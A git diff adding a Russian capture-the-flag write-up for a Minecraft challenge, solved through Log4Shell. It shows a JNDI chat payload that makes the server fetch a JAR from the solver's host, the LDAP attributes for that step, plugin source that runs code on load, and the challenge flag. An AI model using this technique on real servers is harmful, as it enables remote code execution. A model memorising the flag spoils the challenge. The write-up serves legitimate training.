Init. Commit
This commit is contained in:
@@ -0,0 +1,126 @@
|
||||
<h1 align="center">SYKTYV/KAR</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Minecraft-blueviolet" alt="Minecraft"/>
|
||||
</p>
|
||||
|
||||
После возвращения SYKTYV/KAR к штатной работе её аварийные копии отправили на удаление. На последнем узле осталась цифровая копия кольца со стеллой. Очистка каждый раз останавливается с сообщением «На территории остались жители».
|
||||
|
||||
На старте есть индивидуальный SSH-доступ к узлу с Minecraft-миром. Нужно найти дорогу к стелле и выяснить, кто остался на территории после завершения симуляции.
|
||||
|
||||
## Решение
|
||||
|
||||
Подключитесь к узлу по выданным SSH-реквизитам.
|
||||
|
||||
```bash
|
||||
ssh -p <port> player@<node-ip>
|
||||
```
|
||||
|
||||
Пользователь работает в ограниченном `rbash`, а неизменяемый `PATH` указывает на `/opt/diag`. Доступные диагностические утилиты позволяют узнать имя серверного JAR и открытый порт.
|
||||
|
||||
```bash
|
||||
ps aux # java -jar /opt/minecraft/spigot-1.16.5.jar
|
||||
ss -ltn # 25565 слушает
|
||||
```
|
||||
|
||||
Процесс запущен с `spigot-1.16.5.jar`, сервер слушает порт `25565`. Сам номер версии ещё не доказывает наличие Log4Shell (CVE-2021-44228), поскольку для 1.16.5 выпускались [исправленные сборки](https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/). Проверьте обработку `${jndi:...}` в чате.
|
||||
|
||||
Для доступа к Minecraft пробросьте порт через SSH.
|
||||
|
||||
```bash
|
||||
ssh -N -p <port> player@<node-ip> -L 25565:127.0.0.1:25565
|
||||
```
|
||||
|
||||
Подключитесь клиентом Minecraft Java **1.16.5** к `127.0.0.1:25565`. Сервер работает в offline mode и принимает любой ник.
|
||||
|
||||
В MOTD есть глифы Standard Galactic Alphabet. Вторая строка декодируется в `jebat jnl`, а после ROT13 получается `wrong way`. Эта подсказка ведёт в тупик.
|
||||
|
||||
### Проверка обработчика
|
||||
|
||||
Запустите LDAP-сервер, который на поисковый запрос возвращает следующие атрибуты.
|
||||
|
||||
```text
|
||||
javaCodeBase: http://<my-ip>:8000/garbage
|
||||
javaFactory: pwn.Pwned
|
||||
```
|
||||
|
||||
По адресу из `javaCodeBase` разместите тестовый файл `garbage` с произвольным содержимым и откройте к нему доступ по HTTP.
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000 --bind 0.0.0.0
|
||||
```
|
||||
|
||||
Отправьте JNDI-ссылку в чат.
|
||||
|
||||
```text
|
||||
${jndi:ldap://<my-ip>:1389/Exploit}
|
||||
```
|
||||
|
||||
Сервер обращается по ссылке, скачивает файл из `javaCodeBase` и пытается загрузить его как плагин. В чате появляется ошибка.
|
||||
|
||||
```text
|
||||
Could not load plugin in folder 'plugins': invalid plugin JAR
|
||||
```
|
||||
|
||||
Ошибка указывает на загрузку Bukkit-плагина. В этом стенде обработчик `${jndi:...}` передаёт скачанный JAR в HotLoader. Для получения флага подходит плагин, который прочитает файл при загрузке.
|
||||
|
||||
### Загрузка плагина
|
||||
|
||||
Подготовьте Bukkit-плагин для Spigot 1.16.5, используя `spigot-api` версии 1.16.5 и байткод Java 8. Укажите класс `pwn.Pwned` в `plugin.yml`.
|
||||
|
||||
```yaml
|
||||
name: Pwned
|
||||
version: 1.0.0
|
||||
main: pwn.Pwned
|
||||
api-version: "1.16"
|
||||
```
|
||||
|
||||
В `Pwned.java` добавьте обработчик `onEnable()`, который читает `flag.txt` из рабочей директории сервера и отправляет содержимое в чат.
|
||||
|
||||
```java
|
||||
package pwn;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
public final class Pwned extends JavaPlugin {
|
||||
@Override
|
||||
public void onEnable() {
|
||||
try {
|
||||
String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim();
|
||||
Bukkit.broadcastMessage("[PWN] " + flag);
|
||||
} catch (Exception exception) {
|
||||
Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Упакуйте `plugin.yml` и `pwn/Pwned.class` в JAR. Готовый [Pwned.jar](solve/payload/Pwned.jar) содержит оба файла.
|
||||
|
||||
Разместите JAR на HTTP-сервере и укажите его адрес в LDAP-ответе.
|
||||
|
||||
```text
|
||||
javaCodeBase: http://<my-ip>:8000/Pwned.jar
|
||||
javaFactory: pwn.Pwned
|
||||
```
|
||||
|
||||
Повторно отправьте ссылку в чат.
|
||||
|
||||
```text
|
||||
${jndi:ldap://<my-ip>:1389/Exploit}
|
||||
```
|
||||
|
||||
Сервер скачивает JAR, проверяет формат ZIP, наличие `plugin.yml` и основного класса, затем сверяет `javaFactory` с полем `main`. После сохранения файла в `plugins/dropins/` HotLoader загружает плагин. Вызов `onEnable()` читает `flag.txt` и публикует флаг в чате.
|
||||
|
||||
В [солвере](solve/solve.py) используется прямая HTTP-доставка JAR через `${jndi:http://<my-ip>:<http-port>/pwned.jar}`.
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{m1n3cr4ft_15_my_l1f3_XXXX}`
|
||||
|
||||
Суффикс `XXXX` зависит от выданного команде узла.
|
||||
Reference in New Issue
Block a user